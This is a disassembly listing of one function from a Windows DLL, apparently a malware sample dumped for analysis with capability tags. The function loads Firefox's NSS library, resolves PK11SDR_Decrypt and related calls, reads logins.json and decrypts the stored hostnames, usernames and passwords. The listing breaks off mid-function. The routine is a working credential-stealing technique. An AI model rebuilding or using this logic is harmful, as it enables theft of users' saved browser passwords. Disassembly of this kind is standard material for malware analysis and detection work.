Function at 0x180091ee0
Capabilities:
Link many functions at runtime
Set current directory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4d0]
sub rsp, 0x5d0
xor r12d, r12d
mov qword [rsp + 0x48], 0xf
mov r15, rcx
mov qword [rsp + 0x40], r12
mov edi, r12d
lea rcx, [rbp + 0x470]
mov byte [rsp + 0x30], dil
mov r14, r8
mov r13, rdx
call fcn.1800b8a30
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x180091f42
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.nss3.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, qword [rbx + 0x18]
mov rsi, rax
cmp rdx, 0x10
jb 0x180091f92
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x180091f8d
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180093b07
mov rcx, r8
call fcn.1800c1180
movaps xmmword [rsp + 0x5c0], xmm6
movaps xmmword [rsp + 0x5b0], xmm7
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 0xf
mov byte [rbx], dil
test rsi, rsi
jne 0x180092074
xor r8d, r8d
mov qword [r15 + 0x10], r12
lea rdx, [0x1800f99d0]
mov qword [r15 + 0x18], 0xf
mov rcx, r15
mov byte [r15], dil
call fcn.1800b8fb0
mov rdx, qword [r13 + 0x18]
cmp rdx, 0x10
jb 0x180092016
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x180092011
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180093b01
mov rcx, r8
call fcn.1800c1180
mov qword [r13 + 0x10], r12
mov qword [r13 + 0x18], 0xf
mov byte [r13], dil
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x180092060
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x18009205b
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180093b01
mov rcx, r8
call fcn.1800c1180
mov qword [r14 + 0x10], r12
mov byte [r14], dil
mov qword [r14 + 0x18], 0xf
jmp 0x180093acd
lea rdx, str.NSS_Init
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PL_Base64Decode
mov rcx, rsi
mov qword [0x180119510], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11SDR_Decrypt
mov rcx, rsi
mov qword [0x180119558], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_Authenticate
mov rcx, rsi
mov qword [0x180119540], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_GetInternalKeySlot
mov rcx, rsi
mov qword [0x180119508], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_FreeSlot
mov rcx, rsi
mov qword [0x1801194a0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NSS_Shutdown
mov rcx, rsi
mov qword [0x180119530], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp - 0x18]
mov qword [0x1801194e0], rax
call fcn.1800916e0
mov rdx, qword [rbp - 8]
lea rcx, [rbp + 0x18]
add rdx, 0xc
mov qword [rbp + 0x28], r12
mov qword [rbp + 0x30], 0xf
mov byte [rbp + 0x18], dil
call fcn.1800ba640
cmp qword [rbp], 0x10
lea rdx, [rbp - 0x18]
mov r8, qword [rbp - 8]
lea rcx, [rbp + 0x18]
cmovae rdx, qword [rbp - 0x18]
call fcn.1800b8790
mov r8d, 0xc
lea rdx, str.logins.json
lea rcx, [rbp + 0x18]
call fcn.1800b8790
cmp qword [rbp + 0x30], 0x10
lea rcx, [rbp + 0x18]
lea rdx, [0x180103ec0]
cmovae rcx, qword [rbp + 0x18]
call fcn.1800c9258
test rax, rax
je 0x18009219b
mov rcx, rax
call fcn.1800c92e8
mov bl, 1
jmp 0x18009219d
xor bl, bl
mov rdx, qword [rbp + 0x30]
cmp rdx, 0x10
jb 0x1800921d8
mov rcx, qword [rbp + 0x18]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800921d3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093b0d
call fcn.1800c1180
mov qword [rbp + 0x28], r12
mov qword [rbp + 0x30], 0xf
mov byte [rbp + 0x18], dil
test bl, bl
je 0x180093a1f
cmp qword [rbp], 0x10
lea rcx, [rbp - 0x18]
cmovae rcx, qword [rbp - 0x18]
call qword [0x180119510]
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x490]
call fcn.1800b8a30
mov rcx, rax
call fcn.180091490
mov qword [rbp - 0x80], r12
mov r12, 0xffffffffffffffff
mov r8, r12
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], dil
inc r8
cmp byte [rax + r8], dil
jne 0x180092237
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.1800b8fb0
cmp qword [rbp - 0x80], rdi
jbe 0x1800939e0
mov cl, 1
mov qword [rbp + 0xa0], rdi
call fcn.1800c2478
xor edx, edx
mov qword [rbp + 0xc0], rax
lea rcx, [rbp - 0x20]
call fcn.1800c1ed4
mov rsi, qword [0x180119bd0]
mov r15, qword [0x180119bb8]
mov qword [rbp + 0x38], r15
test rsi, rsi
jne 0x1800922cf
xor edx, edx
lea rcx, [rbp + 0x528]
call fcn.1800c1ed4
cmp qword [0x180119bd0], rdi
jne 0x1800922bc
mov eax, dword [0x180117e70]
inc eax
mov dword [0x180117e70], eax
cdqe
mov qword [0x180119bd0], rax
lea rcx, [rbp + 0x528]
call fcn.1800c1f4c
mov rsi, qword [0x180119bd0]
mov rcx, qword [rbp + 0xc0]
cmp rsi, qword [rcx + 0x18]
jae 0x1800922eb
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax + rsi*8]
test rbx, rbx
jne 0x18009234a
jmp 0x1800922ed
xor ebx, ebx
cmp byte [rcx + 0x24], dil
je 0x180092306
call fcn.1800c2470
cmp rsi, qword [rax + 0x18]
jae 0x18009230b
mov rax, qword [rax + 0x10]
mov rbx, qword [rax + rsi*8]
test rbx, rbx
jne 0x18009234a
test r15, r15
je 0x180092315
mov rbx, r15
jmp 0x18009234a
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0x38]
call fcn.1800ba210
cmp rax, r12
je 0x180093b13
mov rbx, qword [rbp + 0x38]
mov rcx, rbx
call fcn.1800c2438
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov qword [0x180119bb8], rbx
lea rcx, [rbp - 0x20]
call fcn.1800c1f4c
lea rcx, [rbp + 0xb8]
mov qword [rbp + 0xa8], rbx
call fcn.1800b91c0
lea r8, [0x180104444]
mov qword [rbp + 0xb0], rax
lea rdx, str._hostname_:_______
lea rcx, [rbp + 0xa0]
call fcn.1800b9900
mov cl, 1
mov qword [rbp + 0x78], rdi
call fcn.1800c2478
xor edx, edx
mov qword [rbp + 0x98], rax
lea rcx, [rbp - 0x2c]
call fcn.1800c1ed4
mov rsi, qword [0x180119bd0]
mov r15, qword [0x180119bb8]
mov qword [rbp + 0x48], r15
test rsi, rsi
jne 0x1800923f6
xor edx, edx
lea rcx, [rbp - 0x30]
call fcn.1800c1ed4
cmp qword [0x180119bd0], rdi
jne 0x1800923e6
mov eax, dword [0x180117e70]
inc eax
mov dword [0x180117e70], eax
cdqe
mov qword [0x180119bd0], rax
lea rcx, [rbp - 0x30]
call fcn.1800c1f4c
mov rsi, qword [0x180119bd0]
mov rcx, qword [rbp + 0x98]
cmp rsi, qword [rcx + 0x18]
jae 0x180092412
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax + rsi*8]
test rbx, rbx
jne 0x180092471
jmp 0x180092414
xor ebx, ebx
cmp byte [rcx + 0x24], dil
je 0x18009242d
call fcn.1800c2470
cmp rsi, qword [rax + 0x18]
jae 0x180092432
mov rax, qword [rax + 0x10]
mov rbx, qword [rax + rsi*8]
test rbx, rbx
jne 0x180092471
test r15, r15
je 0x18009243c
mov rbx, r15
jmp 0x180092471
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x48]
call fcn.1800ba210
cmp rax, r12
je 0x180093b19
mov rbx, qword [rbp + 0x48]
mov rcx, rbx
call fcn.1800c2438
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov qword [0x180119bb8], rbx
lea rcx, [rbp - 0x2c]
call fcn.1800c1f4c
lea rcx, [rbp + 0x90]
mov qword [rbp + 0x80], rbx
call fcn.1800b91c0
lea r8, [0x180104465]
mov qword [rbp + 0x88], rax
lea rdx, str._encryptedUsername_:_______
lea rcx, [rbp + 0x78]
call fcn.1800b9900
mov cl, 1
mov qword [rbp + 0x50], rdi
call fcn.1800c2478
xor edx, edx
mov qword [rbp + 0x70], rax
lea rcx, [rbp - 0x24]
call fcn.1800c1ed4
mov rsi, qword [0x180119bd0]
mov r15, qword [0x180119bb8]
mov qword [rbp + 0x40], r15
test rsi, rsi
jne 0x180092517
xor edx, edx
lea rcx, [rbp - 0x28]
call fcn.1800c1ed4
cmp qword [0x180119bd0], rdi
jne 0x180092507
mov eax, dword [0x180117e70]
inc eax
mov dword [0x180117e70], eax
cdqe
mov qword [0x180119bd0], rax
lea rcx, [rbp - 0x28]
call fcn.1800c1f4c
mov rsi, qword [0x180119bd0]
mov rcx, qword [rbp + 0x70]
cmp rsi, qword [rcx + 0x18]
jae 0x180092530
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax + rsi*8]
test rbx, rbx
jne 0x18009258c
jmp 0x180092532
xor ebx, ebx
cmp byte [rcx + 0x24], dil
je 0x18009254b
call fcn.1800c2470
cmp rsi, qword [rax + 0x18]
jae 0x180092550
mov rax, qword [rax + 0x10]
mov rbx, qword [rax + rsi*8]
test rbx, rbx
jne 0x18009258c
test r15, r15
je 0x18009255a
mov rbx, r15
jmp 0x18009258c
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x40]
call fcn.1800ba210
cmp rax, r12
je 0x180093b1f
mov rbx, qword [rbp + 0x40]
mov rcx, rbx
call fcn.1800c2438
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov qword [0x180119bb8], rbx
lea rcx, [rbp - 0x24]
call fcn.1800c1f4c
lea rcx, [rbp + 0x68]
mov qword [rbp + 0x58], rbx
call fcn.1800b91c0
lea r8, [0x180104485]
mov qword [rbp + 0x60], rax
lea rdx, str._encryptedPassword_:_______
lea rcx, [rbp + 0x50]
call fcn.1800b9900
mov rdx, qword [rbp - 0x78]
lea rbx, [rsp + 0x70]
mov rax, qword [rsp + 0x70]
xor r15d, r15d
xorps xmm0, xmm0
mov qword [rbp + 0xd0], r15
cmp rdx, 0x10
mov byte [rbp + 0xd8], dil
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xe0], xmm0
cmovae rbx, rax
movdqa xmmword [rbp + 0xf0], xmm1
mov qword [rbp + 0x100], r15
movabs rsi, 0x2aaaaaaaaaaaaaab
mov byte [rbp + 0x108], dil
movdqa xmmword [rbp + 0x110], xmm0
mov byte [rbp + 0x120], dil
mov qword [rbp + 0x128], r15
mov qword [rbp + 0x130], r15
mov byte [rbp + 0x138], dil
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], dil
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], dil
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], dil
nop dword [rax]
cmp rdx, 0x10
mov qword [rsp + 0x28], rbx
mov rdx, qword [rbp - 0x80]
lea rcx, [rsp + 0x70]
cmovae rcx, rax
lea r9, [rbp + 0xa0]
add rdx, rcx
lea r8, [rbp + 0xd0]
mov rcx, rbx
call fcn.1800baa80
test al, al
je 0x18009377e
mov rcx, qword [rbp + 0xe8]
mov rax, rsi
mov r8, qword [rbp + 0xe0]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x128]
cmp rdx, 1
jbe 0x1800926dd
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r15b
je 0x1800926ef
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x340], xmm0
jmp 0x1800926fa
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x340], xmm0
mov rdx, qword [rbp + 0x340]
mov eax, 0xf
mov r8, qword [rbp + 0x348]
mov qword [rbp + 0x1b0], r15
mov qword [rbp + 0x1b8], rax
mov byte [rbp + 0x1a0], r15b
cmp rdx, r8
je 0x18009273d
sub r8, rdx
lea rcx, [rbp + 0x1a0]
call fcn.1800b8fb0
mov rax, qword [rbp + 0x1b8]
cmp rax, 0x10
lea rcx, [rbp + 0x1a0]
cmovae rcx, qword [rbp + 0x1a0]
call fcn.180091dc0
mov r8, r12
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x180092760
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.1800b8fb0
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0x10
jb 0x1800927b7
mov rcx, qword [rbp + 0x1a0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800927b2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093b25
call fcn.1800c1180
cmp qword [rbp - 0x78], 0x10
lea rcx, [rsp + 0x70]
mov rdx, qword [rbp - 0x80]
lea r9, [rbp + 0x78]
cmovae rcx, qword [rsp + 0x70]
lea r8, [rbp + 0xd0]
add rdx, rcx
mov qword [rsp + 0x28], rbx
mov rcx, rbx
call fcn.1800baa80
mov rcx, qword [rbp + 0xe8]
mov rax, rsi
mov r8, qword [rbp + 0xe0]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x128]
cmp rdx, 1
jbe 0x18009281c
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r15b
je 0x18009282e
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x370], xmm0
jmp 0x180092839
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x370], xmm0
mov rdx, qword [rbp + 0x370]
mov r8, qword [rbp + 0x378]
mov qword [rbp + 0x3c0], r15
mov qword [rbp + 0x3c8], 0xf
mov byte [rbp + 0x3b0], r15b
cmp rdx, r8
je 0x180092874
sub r8, rdx
lea rcx, [rbp + 0x3b0]
call fcn.1800b8fb0
lea rcx, [rbp + 0x3b0]
call fcn.180091c30
mov rcx, rax
call fcn.180091dc0
mov r8, r12
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x180092890
mov rdx, rax
lea rcx, [rbp - 0x50]
call fcn.1800b8fb0
cmp qword [rbp - 0x78], 0x10
lea rcx, [rsp + 0x70]
mov rdx, qword [rbp - 0x80]
lea r9, [rbp + 0x50]
cmovae rcx, qword [rsp + 0x70]
lea r8, [rbp + 0xd0]
add rdx, rcx
mov qword [rsp + 0x28], rbx
mov rcx, rbx
call fcn.1800baa80
mov rcx, qword [rbp + 0xe8]
mov rax, rsi
mov r8, qword [rbp + 0xe0]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x128]
cmp rdx, 1
jbe 0x18009290a
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r15b
je 0x18009291c
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x380], xmm0
jmp 0x180092927
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x380], xmm0
mov rdx, qword [rbp + 0x380]
mov r8, qword [rbp + 0x388]
mov qword [rbp + 0x3e0], r15
mov qword [rbp + 0x3e8], 0xf
mov byte [rbp + 0x3d0], r15b
cmp rdx, r8
je 0x180092962
sub r8, rdx
lea rcx, [rbp + 0x3d0]
call fcn.1800b8fb0
lea rcx, [rbp + 0x3d0]
call fcn.180091c30
mov rcx, rax
call fcn.180091dc0
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x180092980
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.1800b8fb0
mov r8d, 9
mov qword [rbp + 0x3a0], r15
cmp qword [rsp + 0x60], r8
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x390]
mov qword [rbp + 0x3a8], 0xf
cmovb r8, qword [rsp + 0x60]
cmp qword [rsp + 0x68], 0x10
mov byte [rbp + 0x390], r15b
cmovae rdx, qword [rsp + 0x50]
call fcn.1800b8fb0
mov rdx, qword [rbp + 0x3a8]
lea rax, [rbp + 0x390]
mov rcx, qword [rbp + 0x390]
cmp rdx, 0x10
cmovae rax, rcx
cmp qword [rbp + 0x3a0], 9
jne 0x180092a1d
movabs r8, 0x2f3a656d6f726863
cmp qword [rax], r8
jne 0x180092a1d
cmp byte [rax + 8], 0x2f
jne 0x180092a1d
xor sil, sil
jmp 0x180092a20
mov sil, 1
cmp rdx, 0x10
jb 0x180092a53
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092a4e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093b49
call fcn.1800c1180
test sil, sil
je 0x1800936fc
mov rax, qword [r14 + 0x18]
mov rcx, r14
cmp rax, 0x10
jb 0x180092a6c
mov rcx, qword [r14]
cmp qword [r14 + 0x10], 1
jne 0x1800930d9
cmp byte [rcx], 0x30
jne 0x1800930d9
cmp qword [rsp + 0x60], r15
jne 0x180092a8b
mov al, 1
jmp 0x180092a8d
xor al, al
test al, al
jne 0x180092c61
lea rdx, [rdi + 1]
mov qword [rbp + 0x1d0], r15
lea rcx, [rbp + 0x1c0]
mov qword [rbp + 0x1d8], 0xf
mov byte [rbp + 0x1c0], r15b
call fcn.1800ba640
cmp qword [rsp + 0x48], 0x10
lea rdx, [rsp + 0x30]
mov r8, rdi
lea rcx, [rbp + 0x1c0]
cmovae rdx, qword [rsp + 0x30]
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180103f54]
lea rcx, [rbp + 0x1c0]
call fcn.1800b8790
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, qword [rsp + 0x60]
lea rcx, [rbp + 0x1c0]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180103f50]
lea rcx, [rbp + 0x1e0]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1f0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800b8790
mov rdx, qword [rsp + 0x48]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x410], xmm6
movups xmmword [rbp + 0x420], xmm7
cmp rdx, 0x10
jb 0x180092bb7
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092bb2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093b2b
call fcn.1800c1180
mov rdx, qword [rbp + 0x1f8]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdx, 0x10
jb 0x180092c02
mov rcx, qword [rbp + 0x1e0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092bfd
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093b2b
call fcn.1800c1180
mov rdx, qword [rbp + 0x1d8]
mov qword [rbp + 0x1f0], r15
mov qword [rbp + 0x1f8], 0xf
mov byte [rbp + 0x1e0], r15b
cmp rdx, 0x10
jb 0x180092c5c
mov rcx, qword [rbp + 0x1c0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092c57
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093b2b
call fcn.1800c1180
mov rdi, qword [rsp + 0x40]
cmp qword [rbp - 0x40], r15
jne 0x180092c6b
mov al, 1
jmp 0x180092c6d
xor al, al
test al, al
jne 0x180092e3d
lea rdx, [rdi + 1]
mov qword [rbp + 0x150], r15
lea rcx, [rbp + 0x140]
mov qword [rbp + 0x158], 0xf
mov byte [rbp + 0x140], r15b
call fcn.1800ba640
cmp qword [rsp + 0x48], 0x10
lea rdx, [rsp + 0x30]
mov r8, rdi
lea rcx, [rbp + 0x140]
cmovae rdx, qword [rsp + 0x30]
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180103f54]
lea rcx, [rbp + 0x140]
call fcn.1800b8790
cmp qword [rbp - 0x38], 0x10
lea rdx, [rbp - 0x50]
mov r8, qword [rbp - 0x40]
lea rcx, [rbp + 0x140]
cmovae rdx, qword [rbp - 0x50]
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180103f50]
lea rcx, [rbp + 0x200]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x200], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x210], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800b8790
mov rdx, qword [rsp + 0x48]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x430], xmm6
movups xmmword [rbp + 0x440], xmm7
cmp rdx, 0x10
jb 0x180092d93
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092d8e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093b31
call fcn.1800c1180
mov rdx, qword [rbp + 0x218]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdx, 0x10
jb 0x180092dde
mov rcx, qword [rbp + 0x200]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092dd9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093b31
call fcn.1800c1180
mov rdx, qword [rbp + 0x158]
mov qword [rbp + 0x210], r15
mov qword [rbp + 0x218], 0xf
mov byte [rbp + 0x200], r15b
cmp rdx, 0x10
jb 0x180092e38
mov rcx, qword [rbp + 0x140]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092e33
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093b31
call fcn.1800c1180
mov rdi, qword [rsp + 0x40]
cmp qword [rbp - 0x60], r15
jne 0x180092e47
mov al, 1
jmp 0x180092e49
xor al, al
test al, al
jne 0x180093019
lea rdx, [rdi + 1]
mov qword [rbp + 0x170], r15
lea rcx, [rbp + 0x160]
mov qword [rbp + 0x178], 0xf
mov byte [rbp + 0x160], r15b
call fcn.1800ba640
cmp qword [rsp + 0x48], 0x10
lea rdx, [rsp + 0x30]
mov r8, rdi
lea rcx, [rbp + 0x160]
cmovae rdx, qword [rsp + 0x30]
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180103f54]
lea rcx, [rbp + 0x160]
call fcn.1800b8790
cmp qword [rbp - 0x58], 0x10
lea rdx, [rbp - 0x70]
mov r8, qword [rbp - 0x60]
lea rcx, [rbp + 0x160]
cmovae rdx, qword [rbp - 0x70]
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180103f50]
lea rcx, [rbp + 0x220]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x220], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x230], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800b8790
mov rdx, qword [rsp + 0x48]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x3f0], xmm6
movups xmmword [rbp + 0x400], xmm7
cmp rdx, 0x10
jb 0x180092f6f
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092f6a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093b37
call fcn.1800c1180
mov rdx, qword [rbp + 0x238]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdx, 0x10
jb 0x180092fba
mov rcx, qword [rbp + 0x220]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092fb5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093b37
call fcn.1800c1180
mov rdx, qword [rbp + 0x178]
mov qword [rbp + 0x230], r15
mov qword [rbp + 0x238], 0xf
mov byte [rbp + 0x220], r15b
cmp rdx, 0x10
jb 0x180093014
mov rcx, qword [rbp + 0x160]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009300f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093b37
call fcn.1800c1180
mov rdi, qword [rsp + 0x40]
lea rdx, [rdi + 1]
mov qword [rbp + 0x250], r15
lea rcx, [rbp + 0x240]
mov qword [rbp + 0x258], 0xf
mov byte [rbp + 0x240], r15b
call fcn.1800ba640
cmp qword [rsp + 0x48], 0x10
lea rdx, [rsp + 0x30]
mov r8, rdi
lea rcx, [rbp + 0x240]
cmovae rdx, qword [rsp + 0x30]
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x1800fa9ec]
lea rcx, [rbp + 0x240]
call fcn.1800b8790
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1800930b8
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800930b3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093b3d
call fcn.1800c1180
movups xmm1, xmmword [rbp + 0x250]
mov rax, qword [r14 + 0x18]
movups xmm0, xmmword [rbp + 0x240]
movups xmmword [rsp + 0x40], xmm1
mov rdi, qword [rsp + 0x40]
movups xmmword [rsp + 0x30], xmm0
mov rcx, r14
cmp rax, 0x10
jb 0x1800930e5
mov rcx, qword [r14]
cmp qword [r14 + 0x10], 1
jne 0x1800930f5
cmp byte [rcx], 0x31
jne 0x1800930f5
mov al, 1
jmp 0x1800930f7
xor al, al
test al, al
je 0x1800936f6
lea rdx, [rdi + 3]
mov qword [rbp + 0x190], r15
lea rcx, [rbp + 0x180]
mov qword [rbp + 0x198], 0xf
mov byte [rbp + 0x180], r15b
call fcn.1800ba640
cmp qword [rsp + 0x48], 0x10
lea rdx, [rsp + 0x30]
mov r8, rdi
lea rcx, [rbp + 0x180]
cmovae rdx, qword [rsp + 0x30]
call fcn.1800b8790
mov r8d, 3
lea rdx, [0x180103f60]
lea rcx, [rbp + 0x180]
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180103f5c]
lea rcx, [rbp + 0x180]
call fcn.1800b8790
mov r8d, 7
lea rdx, str.Firefox
lea rcx, [rbp + 0x350]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x350], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x360], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180103f5c]
lea rcx, [rbp + 0x320]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x320], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x330], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800b8790
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, qword [rsp + 0x60]
lea rcx, [rbp + 0x300]
cmovae rdx, qword [rsp + 0x50]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x300], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x310], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180103f5c]
lea rcx, [rbp + 0x2e0]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2e0], xmm0
movups xmm1, xmmword [rax + 0x10]
